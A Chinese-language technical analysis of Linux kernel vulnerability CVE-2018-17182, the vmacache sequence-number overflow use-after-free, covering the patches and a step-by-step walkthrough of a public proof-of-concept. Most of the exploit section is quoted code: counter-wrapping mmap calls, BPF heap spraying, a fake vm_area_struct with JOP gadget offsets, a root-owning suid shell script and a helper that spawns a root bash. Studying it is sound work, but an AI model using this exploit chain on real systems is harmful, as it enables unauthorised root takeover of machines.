vma就是虚拟地址区域(virtual memory area),内核用vma来管理进程分配的虚拟内存地址。vma在内核中用结构体struct vm_ares_struct 表示,定义如下:
struct vm_area_struct {
.....
unsigned long vm_start; // 起始虚拟地址
unsigned long vm_start; // 起始虚拟地址
struct vm_area_struct *vm_next, *vm_prev; //同时是一个链表节点
struct rb_node vm_rb; //同时也是一个红黑树节点
......
}
一个进程有多个vma,这些vma如何管理呢,根据结构体的定义可知vma同时存在2种组织方式
1)链表,用于遍历vma
2)红黑树,用于查找某个虚拟地址所在的vma
在内核中有个find_vma函数,根据传入的虚拟地址addr,查找vma组成的红黑树,找到这个addr所在的vma并返回,也就是vm_start <= addr <= vm_end。这个函数在内核中调用的比较频繁,比如进程访问一个虚拟地址时,在内核里面都会先去找这个地址对应的vma。 如果每次find_vma都走红黑树查找,效率会比较低。vma缓存机制,就是为了优化find_vma这个函数的执行效率,这个机制将上次find_vma得到的vma缓存下来,下次find_vma时,先去缓存中找,找不到时再去走红黑树查找。
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=615d6e8756c87149f2d4c1b93d471bca002bd849
根据这个优化的patch可以看到,最原始的缓存机使用的是mm_struct中的mmap_cache,即mmap_cache指向上次find_vma函数返回的vma。但是在多线程环境下,所有线程都是共用一个mm_struct,也就是说所有线程共用一个缓存mmap_cache,那么这种情况下,缓存的命中率就不会很高。所以这个patch主要的思想就是给每个线程一个单独的缓存,互不影响。
diff --git a/include/linux/mm_types.h b/include/linux/mm_types.h
index 290901a..2b58d19 100644
--- a/include/linux/mm_types.h
+++ b/include/linux/mm_types.h
@@ -342,9 +342,9 @@ struct mm_rss_stat {
struct kioctx_table;
struct mm_struct {
- struct vm_area_struct * mmap; /* list of VMAs */
+ struct vm_area_struct *mmap; /* list of VMAs */
struct rb_root mm_rb;
- struct vm_area_struct * mmap_cache; /*移除老的缓存方式*/
+ u32 vmacache_seqnum; /* per-thread vmacache */
#ifdef CONFIG_MMU
unsigned long (*get_unmapped_area) (struct file *filp,
unsigned long addr, unsigned long len,
mm_struct里面新增的vmacache_seqnum后面再讲作用,继续往下看补丁。由于每个线程都对应一个单独的task_struct,所以将缓存放到了task_struct里面,即vmacache,而且为task_struct结构体新增了一个u32类型的成员变量vmacache_seqnum。
@@ -1235,6 +1239,9 @@ struct task_struct {
#ifdef CONFIG_COMPAT_BRK
unsigned brk_randomized:1;
#endif
+ /* per-thread vma caching */
+ u32 vmacache_seqnum;
+ struct vm_area_struct *vmacache[VMACACHE_SIZE];
#if defined(SPLIT_RSS_COUNTING)
struct task_rss_stat rss_stat;
#endif
线程之间共用虚拟地址空间,即共用一个mm_struct,vma也都是共用的。 task_struct,mm_struct,vma_area_struct的关系如下图:
思考一个问题,如果一个vma被一个线程释放掉了,但是这个vma还在另外一个线程的缓存中,而这个线程不知道它自己缓存的vma被释放掉了,后面这个线程在find_vma的时候,如果要查找的地址刚好在这个vma中,那么就会把这个已经释放了的vma返回,这样就产生了UFA(Use After Free),所以需要一个同步机制。
继续看这个patch,在task_struct和mm_strcut这2个结构体中都新增了一个u32的成员变量vmacache_sequm,用来做同步,机制如下:
1)当有vma被某个线程给释放了,将mm_struct中的vmacache_sequm加1
2)线程在find_vma中使用缓存时,先比较task_struct和mm_struct中的vmacache_sequm,如果不相等,说明vma有变化,清空缓存,走红黑树查找vma
当一个vma被释放的时候,调用vmacache_invalidate将mm_strcut中的vmacache_seqnum加1,但是vmacache_sequm是一个u32类型的变量,如果一直加1,是有可能发生溢出的。所以在这个函数中有个检测溢出的处理,如果发生溢出,就调用vmacache_flush_all遍历所有线程将他们的vmacache都清空,然后vmacache_sequm又从0开始加1。
+static inline void vmacache_invalidate(struct mm_struct *mm)
+{
+ mm->vmacache_seqnum++;
+
+ /* 处理溢出 */
+ if (unlikely(mm->vmacache_seqnum == 0))
+ vmacache_flush_all(mm);
+}
到此为止,第一次优化完成,也看不出啥问题。
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6b4ebc3a9078c5b7b8c4cf495a0b1d2d0e0bfe7a
很佩服这种不断优化,精益求精的精神,不过这次优化搞出了问题。看下这个patch,如果是单线程,那么操作vma的只有这个线程,那么当vmacache_seqnum发生溢出时,其实这个vmacache_flush_all是不需要的,所以在vmacache_flush_all中加了个判断,如果是单线程,直接返回。
diff --git a/mm/vmacache.c b/mm/vmacache.c
index 658ed3b..9f25af8 100644
--- a/mm/vmacache.c
+++ b/mm/vmacache.c
@@ -17,6 +17,16 @@ void vmacache_flush_all(struct mm_struct *mm)
{
struct task_struct *g, *p;
+ /*
+ * Single threaded tasks need not iterate the entire
+ * list of process. We can avoid the flushing as well
+ * since the mm's seqnum was increased and don't have
+ * to worry about other threads' seqnum. Current's
+ * flush will occur upon the next lookup.
+ */
+ if (atomic_read(&mm->mm_users) == 1)
+ return;
+
看起来也很完美啊,思考下单线程环境下发生溢出的情况
1)mm_struct中的vmacache_seqnum溢出后变成0
2)单线程task_struct中的vmacache_sequm还是0xffffffff
3)单线程下次find_vma的时候因为0和0xffffffff不等,所以也会刷新缓存
但是如果我们在这个时候立即再创建一个新线程,一直做mmap和unmap的系统调用,反复分配和释放vma,就会使mm_struct中的vmacache_seqnum不断的加1,最后变成0xffffffff。那么老线程再次find_vma的时候缓存就合法了,因为老线程task_struct和mm_struct中的vmacache_seqnum相等了!缓存合法,但是缓存的vma如果已经被释放了,这样就会产生一个UAF(Use After free)漏洞。
https://lore.kernel.org/patchwork/patch/989918/
From: Linus Torvalds <torvalds@linux-foundation.org>
commit 7a9cdebdcc17e426fb5287e4a82db1dfe86339b2 upstream.
Jann Horn points out that the vmacache_flush_all() function is not only
potentially expensive, it's buggy too. It also happens to be entirely
unnecessary, because the sequence number overflow case can be avoided by
simply making the sequence number be 64-bit. That doesn't even grow the
data structures in question, because the other adjacent fields are
already 64-bit.
So simplify the whole thing by just making the sequence number overflow
case go away entirely, which gets rid of all the complications and makes
the code faster too. Win-win.
直接看注释就知道了,修复很简单,直接将vmacache_seqnum的类型改成u64就可以了。
https://github.com/jas502n/CVE-2018-17182
https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug-in-linux.html
先介绍下mmap这个函数的参数标志MAP_FIXED
1)必须映射传入的指定地址addr,否则报错
2)如果该addr ~ addr + len这个地址区间已经被映射过了,那么原来的映射将会被丢弃掉,被本次映射所替代。与之对应的使标志是MAP_FIXED_NOREPLACE,用这个标志不会再重新映射已有的映射区域,会直接返回失败
poc代码里面首先mmap 3个页(4K)的虚拟地址空间,然后使用sequence_double_inc函数将vmacache_seqnum加2,使用sequence_inc函数将vmacache_sequm加1
//映射3个页
mmap(FAST_WRAP_AREA, 0x3000, PROT_RW, MAP_PRIV_ANON, -1, 0);
//再次映射中间的页,将vmacache_seqnum +2
static void sequence_double_inc(void) {
mmap(FAST_WRAP_AREA + PAGE_SIZE, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 2;
}
//再次映射第一个页,将vmacache_seqnum +1
static void sequence_inc(void) {
mmap(FAST_WRAP_AREA, PAGE_SIZE, PROT_RW, MAP_PRIV_ANON|MAP_FIXED, -1, 0);
sequence_mirror += 1;
}
这2个函数是什么原理呢? 我们分析下sequence_double_inc函数使用MAP_FIXED标志重新映射3个页中间的一个页的流程,有兴趣的同学可以查看内核mmap.c的代码。具体过程如下图,可以看到有2次释放vma的动作,每次释放都会把mm_struct中的vmacache_seqnum加1,2次释放就是一共加2. sequence_inc函数原理类型,对vma只有一次分割,这里就不讲了。
poc里面有这么一段代码,不了解bpf的话完全看不懂,可以看下这个讲bpf的博客:https://blog.csdn.net/pwl999/article/details/82884882
struct bpf_map_create_args bpf_arg = {
.map_type = 2,
.key_size = 4,
.value_size = 0x1000,
.max_entries = 1024
};
int bpf_map = syscall(321, 0, (unsigned long)&bpf_arg, sizeof(bpf_arg), 0, 0, 0);
分析下这个syscall的代码
1)第一个参数321在poc中使用的x84_64 linux代码中表示__NR_bpf,即bpf的系统调用
2)第二个参数0对应的cmd是BPF_MAP_CREATE
那么这个syscall的意思就是按照bpf_arg创建一个bpf map, 这个map是用户态和内核态用来交互的一块内存,用户态可以调用bpf的系统调用来写这块内存。最后返回一个文件描述符int bpf_map。
.map_type表示map的类型:2对应BPF_MAP_TYPE_ARRAY,也就是要创建一个array类型的map,array中每个元素的大小是.value_size(0x1000),array中元素个数是.max_entries(1024),Array map的key就是索引,不用另外分配内存。在内核代码中使用kmalloc分配map的内存,需要分配0x1000 * 1024 + sizeof(struct bpf_array) 这么多内存,有兴趣的同学自己去跟下内核bpf的代码bpf/arraymap.c
根据上面的分析,创建这个map时要kmalloc了4M+的内存,那么这个时候会走伙伴系统去分配page。
做了这么多其实就是为了拿到已经被释放的vma内存,然后通过bpf的系统调用去改写这块内存。
1. fork一个子进程
1) 先将mm->vmacache_seqnum加到0x100000000 - 500
2)mmap了10000个页
3)unmap掉5000个页
4)这个时候mm->vmacache_seqnum溢出变成0, task->vmacache_seqnum变成0xffffffff,该子进程task_struct中缓存的vma已经被释放,后面都统一把这个被释放但是还在缓存中vma叫做漏洞vma。
5)创建一个新线程,在新线程里面立马释放剩下的5000个vma,这样一共释放了10000个vma。会导致漏洞vma所在的slab所有的object都被释放掉,该slab被回收至伙伴系统。接着又在该线程中使用bpf创建一个4M+的map,那么前面被释放的slab内存就可能会重新分配给这个bpf map
6) 最后触发一个缺页异常,poc里面直接访问地址0x7fffffffd000,在poc的x86_64 linux_4.15中,1号syscall是write, sync_fd是一个eventfd,意思就是往sync_fd这个eventfd里面写一个8个字节的数,这个数的地址是0x7fffffffd000
// trigger dmesg dump. use high address to avoid pollution.
syscall(1, sync_fd, 0x7fffffffd000, 8, 0, 0, 0);
访问0x7fffffffd000这个没有映射的地址,触发__do_page_fault -> find_vma -> vmacache_find, 在vmacache_find中触发WARN_ON_ONCE,在dmesg中会把这个时候的堆栈以及相关寄存器信息打印出来。而且WARN_ON_ONCE只会打印调试信息,并不会系统崩溃。触发dump后,子进程阻塞,等待父进程发信号。
__do_page_fault(struct mm_struct *mm, unsigned long addr, unsigned int fsr,
struct task_struct *tsk)
{
struct vm_area_struct *vma;
int fault;
/*搜索出现异常的地址前向最近的的vma*/
vma = find_vma(mm, addr);
fault = VM_FAULT_BADMAP;
/*如果vma为NULL,说明addr之后没有vma,所以这个addr是个错误地址*/
if (unlikely(!vma))
goto out;
struct vm_area_struct *find_vma(struct mm_struct *mm, unsigned long addr)
{
struct rb_node *rb_node;
struct vm_area_struct *vma;
/* 先去缓存中找 */
vma = vmacache_find(mm, addr);
if (likely(vma))
return vma;
/* vmacache_find函数代码片段 */
for (i = 0; i < VMACACHE_SIZE; i++) {
struct vm_area_struct *vma = current->vmacache[i];
if (!vma)
continue;
/* 前面分析过漏洞vma已经被置空,所以触发WARN_ON_ONCE */
if (WARN_ON_ONCE(vma->vm_mm != mm))
break;
if (vma->vm_start <= addr && vma->vm_end > addr)
return vma;
}
触发dmesg打印如下 ,这里借用了https://xz.aliyun.com/t/2868中的log。
可以从这个log中解析出mm_struct(vmacache_find的第一个参数)的地址:RDI 和 漏洞vma的地址:RAX,以及eventfd_fops的地址:R8。RDI是mm_struct的地址好理解,因为它是第一个参数的地址。至于为什么RAX是漏洞vma的地址,直接找个vmlinux反汇编下vmacache_find函数就知道了,函数里面在每次循环过程中会把缓存vma地址赋给RAX寄存器。
[ 3482.271265] WARNING: CPU: 0 PID: 1871 at /build/linux-SlLHxe/linux-4.15.0/mm/vmacache.c:102 vmacache_find+0x9c/0xb0
[…]
[ 3482.271298] RIP: 0010:vmacache_find+0x9c/0xb0
[ 3482.271299] RSP: 0018:ffff9e0bc2263c60 EFLAGS: 00010203
[ 3482.271300] RAX: ffff8c7caf1d61a0 RBX: 00007fffffffd000 RCX: 0000000000000002
[ 3482.271301] RDX: 0000000000000002 RSI: 00007fffffffd000 RDI: ffff8c7c214c7380
[ 3482.271301] RBP: ffff9e0bc2263c60 R08: 0000000000000000 R09: 0000000000000000
[ 3482.271302] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8c7c214c7380
[ 3482.271303] R13: ffff9e0bc2263d58 R14: ffff8c7c214c7380 R15: 0000000000000014
[ 3482.271304] FS: 00007f58c7bf6a80(0000) GS:ffff8c7cbfc00000(0000) knlGS:0000000000000000
[ 3482.271305] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 3482.271305] CR2: 00007fffffffd000 CR3: 00000000a143c004 CR4: 00000000003606f0
[ 3482.271308] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 3482.271309] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 3482.271309] Call Trace:
[ 3482.271314] find_vma+0x1b/0x70
[ 3482.271318] __do_page_fault+0x174/0x4d0
[ 3482.271320] do_page_fault+0x2e/0xe0
[ 3482.271323] do_async_page_fault+0x51/0x80
[ 3482.271326] async_page_fault+0x25/0x50
[ 3482.271329] RIP: 0010:copy_user_generic_unrolled+0x86/0xc0
[ 3482.271330] RSP: 0018:ffff9e0bc2263e08 EFLAGS: 00050202
[ 3482.271330] RAX: 00007fffffffd008 RBX: 0000000000000008 RCX: 0000000000000001
[ 3482.271331] RDX: 0000000000000000 RSI: 00007fffffffd000 RDI: ffff9e0bc2263e30
[ 3482.271332] RBP: ffff9e0bc2263e20 R08: ffffffffa7243680 R09: 0000000000000002
[ 3482.271333] R10: ffff8c7bb4497738 R11: 0000000000000000 R12: ffff9e0bc2263e30
[ 3482.271333] R13: ffff8c7bb4497700 R14: ffff8c7cb7a72d80 R15: ffff8c7bb4497700
[ 3482.271337] ? _copy_from_user+0x3e/0x60
[ 3482.271340] eventfd_write+0x74/0x270
[ 3482.271343] ? common_file_perm+0x58/0x160
[ 3482.271345] ? wake_up_q+0x80/0x80
[ 3482.271347] __vfs_write+0x1b/0x40
[ 3482.271348] vfs_write+0xb1/0x1a0
[ 3482.271349] SyS_write+0x55/0xc0
[ 3482.271353] do_syscall_64+0x73/0x130
[ 3482.271355] entry_SYSCALL_64_after_hwframe+0x3d/0xa2
[ 3482.271356] RIP: 0033:0x55a2e8ed76a6
[ 3482.271357] RSP: 002b:00007ffe71367ec8 EFLAGS: 00000202 ORIG_RAX: 0000000000000001
[ 3482.271358] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 000055a2e8ed76a6
[ 3482.271358] RDX: 0000000000000008 RSI: 00007fffffffd000 RDI: 0000000000000003
[ 3482.271359] RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
[ 3482.271359] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffe71367ec8
[ 3482.271360] R13: 00007fffffffd000 R14: 0000000000000009 R15: 0000000000000000
[ 3482.271361] Code: 00 48 8b 84 c8 10 08 00 00 48 85 c0 74 11 48 39 78 40 75 17 48 39 30 77 06 48 39 70 08 77 8d 83 c2 01 83 fa 04 75 ce 31 c0 5d c3 <0f> 0b 31 c0 5d c3 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f
[ 3482.271381] —[ end trace bf256b6e27ee4552 ]—
2. 主进程
1)泄露漏洞vma地址。主进程中去读取demsg日志,从WARN_ON_ONCE触发的日志中解析出子进程mm_struct的地址和漏洞vma的地址。
2)构造数据填充漏洞vma。获取了漏洞vma的地址,用这个地址就可以算出漏洞vma在物理页里面的偏移。poc接着精心构造一个vma_area_struct fake_vma, 根据偏移使用bpf接口对bpf map这块内存按页填充,就能把fake_vma填充到漏洞vma所在的内存中。填充完成后,通过eventfd给子进程发信号,子进程再次访问0x7fffffffd000这个地址,就能在vmacache_find的时候返回这个漏洞vma。
//sh脚本的路径
char kernel_cmd[8] = "/tmp/%1";
struct vm_area_struct fake_vma = {
// 0x7fffffffd000在vm_start和vm_end之间,满足查找要求
.vm_start = 0x7fffffffd000,
.vm_end = 0x7fffffffe000,
.vm_rb = {
.__rb_parent_color =
(eventfd_fops-0xd92ce0), //call_usermodehelper函数的地址: 0xffffffff810b09a0
.rb_right = vma_kaddr
+ offsetof(struct vm_area_struct, vm_rb.rb_left)
/*rb_left reserved for kernel_cmd*/
},
.vm_mm = mm,
.vm_flags = VM_WRITE|VM_SHARED,
.vm_ops = vma_kaddr
+ offsetof(struct vm_area_struct, vm_private_data)
+ offsetof(struct vm_operations_struct, fault),
//第一段JOP, 将vma地址赋给EDI,并跳转到第二段JOP
.vm_private_data = eventfd_fops-0xd8da5f,
.shared = {
.rb_subtree_last = vma_kaddr
+ offsetof(struct vm_area_struct, shared.rb.__rb_parent_color)
- 0x88,
.rb = {
//第二段JOP, 把kernel_cmd("/tmp/x") 这个字符串地址赋给RDI, 作为call_usermodehelper函数的第一个参数(sh脚本路径),然后跳转到call_usermodehelper:0xffffffff810b09a90, 开始执行sh脚本
.__rb_parent_color = eventfd_fops-0xd9ebd6
}
};
//将sh脚本路径拷贝到fake_vma里面
memcpy(&fake_vma.vm_rb.rb_left, kernel_cmd, sizeof(kernel_cmd));
3)控制RIP。子进程再次访问0x7fffffffd000,流程:do_page_fault -> __do_page_fault -> 找到fake_vma -> handle_mm_fault -> handle_pte_fault -> do_fault -> do_shared_fault -> __do_fault -> vma->vm_ops->fault(vmf),而这里的这个vma就是漏洞vma,vm_ops->fault这个函数指针指向的地址已经被我们替换成event_fops - 0xd8da5f ,也就是第一段JOP的起始地址。这样就可以跳转到第一段JOP代码了。
4)第一段JOP将漏洞vma的地址赋给rdi。前面说第一段JOP的起始地址就是eventfd_fops - 0xd8da5f,为啥呢?是这样的,第一段JOP起始地址是0xffffffff810b5c21,这个地址是通过对vmlinux反汇编得到的mov rax,QWORD PTR [r13 + 0x70] 这句汇编代码的地址,但是内核一般会使能内核随机化特性,内核代码被加载到内核里面会加上一个offset,所以这句汇编代码加载后的实际地址是0xffffffff810b5c21 + offset,我们并不知道这个offset的值是多少,幸好前面eventfd_fops(一个内核全局静态变量)的地址也已经被泄露了,所以可以以eventfd_fops的地址为基准:0xffffffff810b5c21 = eventfd_fops - 0xd8da5f。
vma->vm_ops->fault执行时,r13中存的也是fake_vma的地址,反汇编可看。将r13赋给rdi后,跳转到fake_vma + 0x88 这个地址,前面已经设置成第二段JOP的起始地址:0xffffffff810a4aaa = eventfd_fops-0xd9ebd6
第一段JOP
ffffffff810b5c21: 49 8b 45 70 mov rax,QWORD PTR [r13+0x70]
ffffffff810b5c25: 48 8b 80 88 00 00 00 mov rax,QWORD PTR [rax+0x88]
ffffffff810b5c2c: 48 85 c0 test rax,rax
ffffffff810b5c2f: 74 08 je ffffffff810b5c39
ffffffff810b5c31: 4c 89 ef mov rdi,r13
ffffffff810b5c34: e8 c7 d3 b4 00 call ffffffff81c03000 <__x86_indirect_thunk_rax>
5)第二段JOP完全控制RDI。将rdi+0x28(kernel_cmd字符串)地址赋值给RDI,将rdi+0x20(call_usermodehelper地址)赋给RAX,然后call RAX,这样就直接在内核态运行sh脚本了。
ffffffff810a4aaa: 48 89 fb mov rbx,rdi
ffffffff810a4aad: 48 8b 43 20 mov rax,QWORD PTR [rbx+0x20]
ffffffff810a4ab1: 48 8b 7f 28 mov rdi,QWORD PTR [rdi+0x28]
ffffffff810a4ab5: e8 46 e5 b5 00 call ffffffff81c03000 <__x86_indirect_thunk_rax>
6)shell脚本中将suidhelper这个可执行文件所属用户修改成root,并设置S_ISUID这个mode(04000)。执行suidhelper时,suidhelper进程就可以自己把自己的uid和gid设置成root,接着execl("/bin/bash", “bash”, NULL), 获取一个root的。至此,提权完成。
//生成sh脚本的代码
// make suid-maker shell script
{
char *suid_path = realpath("./suidhelper", NULL);
int suid_fd = open("/tmp/%1", O_WRONLY|O_CREAT|O_TRUNC, 0777);
if (suid_fd == -1) err(1, "make suid shell script");
char *suid_tmpl = "#!/bin/sh\n"
"chown root:root '%s'\n"
"chmod 04755 '%s'\n"
"while true; do sleep 1337; done\n";
char suid_text[10000];
sprintf(suid_text, suid_tmpl, suid_path, suid_path);
if (write(suid_fd, suid_text, strlen(suid_text)) != strlen(suid_text))
err(1, "write suid-maker");
close(suid_fd);
}
//suidhelper程序
int main(void) {
if (setuid(0) || setgid(0))
err(1, "setuid/setgid");
fputs("we have root privs now...\n", stderr);
system("date");
execl("/bin/bash", "bash", NULL);
err(1, "execl");
}